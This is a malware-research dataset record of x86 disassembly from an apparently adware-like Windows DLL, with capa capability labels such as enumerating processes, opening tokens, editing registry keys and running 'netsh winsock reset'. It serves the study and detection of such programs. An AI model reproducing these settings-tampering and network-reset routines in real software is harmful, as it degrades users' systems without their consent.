joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100160c4
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0xb4]
sub esp, 0x134
mov eax, dword [0x1007ef24]
xor eax, ebp
mov dword [ebp + 0xb0], eax
mov eax, dword [ebp + 0xbc]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0xc0]
test eax, eax
mov dword [ebp - 0x80], eax
je 0x100161bd
and dword [ebp - 0x78], 0
push edi
push 0x124
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.10042a90
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x10016128
xor eax, eax
jmp 0x100161bc
push esi
lea eax, [ebp - 0x78]
push eax
push edi
mov dword [ebp - 0x78], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100161b0
push dword [ebp - 0x80]
call fcn.10044b3f
mov esi, eax
lea eax, [ebp - 0x54]
push eax
call fcn.10044b3f
pop ecx
pop ecx
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x10016171
test cl, cl
je 0x1001616d
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x10016171
inc eax
inc eax
inc esi
inc esi
test cl, cl
jne 0x10016153
xor eax, eax
jmp 0x10016176
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1001618d
lea eax, [ebp - 0x78]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1001613e
xor esi, esi
inc esi
jmp 0x100161b2
push dword [ebp - 0x70]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push dword [ebp - 0x7c]
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
jmp 0x100161b2
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
mov ecx, dword [ebp + 0xb0]
xor ecx, ebp
call fcn.10042977
add ebp, 0xb4
leave
ret

Function at 0x100161f3
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 5
xor ebx, ebx
push 0xffffffffffffffff
push ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10016233
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x1001621f
push dword [ebp - 4]
call sub.WTSAPI32.dll_WTSFreeMemory
mov bl, 1
mov al, bl
pop ebx
leave
ret
Function at 0x10016238
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x1007ef24]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call fcn.10042a90
add esp, 0xc
push 0x200
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp - 0x204], 0
je 0x100162f3
push 0x5c
push ebx
call fcn.100447f0
test eax, eax
pop ecx
pop ecx
je 0x100162f3
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016297
push esi
push edi
lea edi, [ebp - 0x204]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100162a9
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, ebx
pop edi
lea ecx, [eax + 1]
pop esi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100162c8
sub eax, ecx
push eax
push 0
push ebx
call fcn.10042a90
lea eax, [ebp - 0x204]
mov edx, ebx
mov ecx, eax
add esp, 0xc
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100162e9
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10042977
leave
ret
Function at 0x10016354
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsClassicStartMenu
xor ebx, ebx
push SysReAllocStringLen
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp dword [ebp - 4], ebx
push 4
pop esi
mov edi, str.871C5380_42A0_1069_A2EA_08002B30309D
je 0x100163d4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
push dword [ebp - 4]
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor eax, eax
inc eax
cmp dword [ebp - 8], eax
je 0x100163c9
push esi
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push esi
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x100163c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100163da
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsNewStartPanel
push SysReAllocStringLen
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp dword [ebp - 4], ebx
je 0x10016447
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push edi
push dword [ebp - 4]
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor eax, eax
inc eax
cmp dword [ebp - 8], eax
je 0x1001643c
push esi
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push esi
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1001643c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1001644d
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10016452
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x1007ef24]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 0x1ff
lea eax, [ebp - 0x203]
push ebx
push eax
mov byte [ebp - 0x204], bl
call fcn.10042a90
add esp, 0xc
push ebx
push 0x26
lea eax, [ebp - 0x204]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
cmp byte [ebp - 0x204], bl
je 0x100164db
push esi
push edi
lea edi, [ebp - 0x204]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100164a5
push 5
pop ecx
lea eax, [ebp - 0x204]
push 0x10063f1c
mov esi, str._baidu_setup_th.exe
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.100435d9
cmp eax, ebx
pop ecx
pop ecx
pop edi
pop esi
je 0x100164db
push eax
call fcn.1004338d
pop ecx
mov al, 1
jmp 0x100164dd
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10042977
leave
ret
Function at 0x100164ea
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
mov eax, dword [0x1007ef24]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov ebx, 0x1ff
push ebx
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call fcn.10042a90
add esp, 0xc
push 0x200
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x204]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10016536
push esi
push 5
pop ecx
mov esi, str.hardpolhardpol.dll
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x204]
push 0x10063f1c
push eax
movsb byte es:[edi], byte [esi]
call fcn.100435d9
test eax, eax
pop ecx
pop ecx
pop esi
je 0x100165c4
push eax
call fcn.1004338d
push ebx
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call fcn.10042a90
add esp, 0x10
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x508]
call fcn.10019f91
cmp byte [ebp - 0x404], 0
je 0x100165b2
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x508]
call fcn.1001a0ea
test al, al
jne 0x100165c4
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x508]
call fcn.1001a870
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10042977
leave
ret

Function at 0x100165d4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 4], 0
je 0x1001661c
and dword [ebp - 8], 0
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.TabProcGrowth
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x10017c14
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x1007ef24]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0x14
mov eax, 0x1005fee2
call fcn.10042986
mov eax, dword [ebp + 0x21c]
mov esi, dword [ebp + 0x214]
mov edi, dword [ebp + 0x218]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x220]
xor ebx, ebx
push ebx
mov dword [ebp - 0x18], eax
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x100710ac
push 1
push ebx
push 0x100710bc
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, ebx
jge 0x10017ca5
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10042977
add ebp, 0x20c
leave
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ebx
push dword [ebp - 0x18]
push eax
call dword [ecx + 0x44]
push esi
lea ecx, [ebp - 0x14]
call fcn.100178d7
push 0x5c
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], ebx
call fcn.100169f9
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
call fcn.10016e84
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.10016fa7
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.10004cba
mov eax, dword [ebp - 0x10]
push dword [ebp - 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push 0x1007112c
push eax
call dword [ecx]
test eax, eax
jge 0x10017d3d
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.10004cba
mov eax, ebx
jmp 0x10017c82
push 0x104
lea eax, [ebp]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x20]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push 2
lea edx, [ebp]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor ebx, ebx
inc ebx
jmp 0x10017d25
Function at 0x10017d79
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x1007ef24]
xor eax, ebp
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0xa0]
push ebx
push esi
mov esi, dword [ebp + 0xa4]
push edi
mov edi, dword [ebp + 0xa8]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0xac]
xor ebx, ebx
push 0x103
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x77]
push ebx
push eax
mov byte [ebp - 0x78], bl
call fcn.10042a90
add esp, 0xc
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebp + eax - 0x79], 0x5c
lea eax, [ebp - 0x78]
je 0x10017dfc
push 0x1006581c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x78]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
lea edi, [ebp + 0x8d]
stosd dword es:[edi], eax
mov eax, dword [esi]
mov dword [ebp + 0x8c], eax
lea eax, [ebp + 0x8c]
push eax
mov ecx, 0x10081520
call fcn.10006d0a
lea eax, [ebp + 0x8c]
push str.http
push eax
call fcn.10043620
test eax, eax
pop ecx
pop ecx
jne 0x10017e65
push str..url
push dword [ebp - 0x7c]
call fcn.10043620
test eax, eax
pop ecx
pop ecx
jne 0x10017e65
push dword [ebp - 0x80]
lea eax, [ebp - 0x78]
push eax
push ebx
push esi
jmp 0x10017e70
push dword [ebp - 0x80]
lea eax, [ebp - 0x78]
push eax
push esi
push dword [ebp - 0x7c]
call fcn.10017c14
mov ecx, dword [ebp + 0x94]
add esp, 0x10
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10042977
add ebp, 0x98
leave
ret
Function at 0x10018d50
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0
push 0
push 0x10018ad7
push 0
push 0
call fcn.10044ddb
add esp, 0x18
test eax, eax
je 0x10018d75
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
pop ecx
ret
Function at 0x10019d94
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.10042a90
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push str.cmd.exe__c_netsh_winsock_reset___nul
push esi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x28], 1
mov word [ebp - 0x22], si
mov dword [ebp - 0x20], esi
mov word [ebp - 0x24], si
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
pop esi
jne 0x10019e0b
push str.netsh_winsock_reset___nul
call fcn.100450d2
pop ecx
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
leave
ret
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
leave
ret

Function at 0x10019e56
Capabilities:
Query or enumerate registry value

Disassembly:
push 8
push 0x100760b0
call fcn.10045240
lea eax, [ebp + 0x18]
push eax
push 0x20019
xor esi, esi
push esi
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10019ec9
mov dword [ebp - 4], esi
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp + 0x14]
push eax
push esi
push dword [ebp + 8]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10019ebd
mov eax, dword [ebp + 0x14]
cmp eax, dword [ebp + 0x1c]
jne 0x10019ebd
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x1007ef24
call fcn.10045438
add esp, 0xc
xor eax, eax
inc eax
jmp 0x10019ecb
mov dword [ebp - 4], 0xfffffffe
call fcn.10019ed3
xor eax, eax
call fcn.10045285
ret 0x18

Function at 0x10019edd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp + 0x18]
push eax
xor esi, esi
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x10019f0b
xor eax, eax
pop esi
pop ebp
ret 0x18
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x1c]
push esi
push dword [ebp + 8]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x10019f32
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x10019f06
xor esi, esi
inc esi
jmp 0x10019f25
Function at 0x10019f37
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
cmp dword [ebp + 8], eax
je 0x10019f8b
cmp dword [ebp + 0xc], eax
je 0x10019f8b
cmp dword [ebp + 0x10], eax
jne 0x10019f5e
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
neg eax
sbb eax, eax
inc eax
jmp 0x10019f8d
lea ecx, [ebp + 0xc]
push ecx
push 0xf003f
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10019f8b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10019f8b
inc eax
jmp 0x10019f8d
xor eax, eax
pop ebp
ret 0xc
Function at 0x1001a6a3
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x118
push 0x100760f0
call fcn.1004558c
mov ebx, ecx
xor edi, edi
mov dword [ebp - 0x124], edi
lea eax, [ebp - 0x124]
push eax
push 0x20019
push edi
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001a6e2
push 0xffffffffffffff99
pop eax
jmp 0x1001a757
mov dword [ebp - 4], edi
mov dword [ebp - 0x128], edi
push 0x104
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x128]
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x1001a749
push dword [ebp + 8]
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
mov ecx, ebx
call fcn.1001a3b2
mov esi, eax
cmp esi, edi
je 0x1001a741
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x1007ef24
call fcn.10045438
add esp, 0xc
mov eax, esi
jmp 0x1001a757
inc dword [ebp - 0x128]
jmp 0x1001a6eb
mov dword [ebp - 4], 0xfffffffe
call fcn.1001a75f
xor eax, eax
call fcn.100455d4
ret 4

Function at 0x1001ea57
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.1001f412
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x1001ea8e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.1001e679
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x1001eae6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
test ebx, 0xffff0000
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
jne 0x1001eb06
cmp dword [edi + 0x54], 0
jne 0x1001eb06
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.1001f412
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [esp + 0x18]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.1001eaad
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
ret 8

Function at 0x10024506
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x1002453f
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.100244a1
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1002303d
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]
Function at 0x100262e7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x1002632a
call fcn.1001f412
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x1002632a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x10026345
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.10025e9e
test ebx, ebx
mov esi, eax
je 0x10026343
test edi, edi
je 0x10026343
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x1002712c
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x10060621
call fcn.10042986
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x10027151
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x1002719d
call fcn.10028d6c
push eax
lea ecx, [ebp - 0x10]
call fcn.10004f84
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100269f3
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.10004cba
mov eax, esi
call fcn.10042a5e
ret 8

Function at 0x100298b5
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x100298de
call fcn.1001f412
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x10029901
push eax
push dword [esi + 4]
call fcn.10029840
push esi
push eax
mov ecx, 0x1008a07c
call fcn.100294f6
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x1002a2cd
Capabilities:
Connect to http server

Disassembly:
push 4
mov eax, 0x10060c82
call fcn.10042986
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x1c]
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call fcn.1002a28f
and dword [ebp - 4], 0
lea ecx, [esi + 0x18]
mov dword [esi], vtable.CHttpConnection.0
call fcn.10005061
push dword [esi + 8]
mov edi, dword [edi + 8]
push 0
push 3
push dword [ebp + 0x18]
mov byte [ebp - 4], 1
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
mov dword [esi + 4], eax
jne 0x1002a333
push eax
push dword [esi + 8]
call fcn.10029840
push dword [esi + 0xc]
mov ecx, 0x1008a07c
push eax
call fcn.100294f6
mov eax, esi
call fcn.10042a5e
ret 0x18
Function at 0x1003b5ce
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x1003b614
call fcn.1001f412
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x1003b614
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x1003b657
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x1003b640
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x1003b640
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x1003b654
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc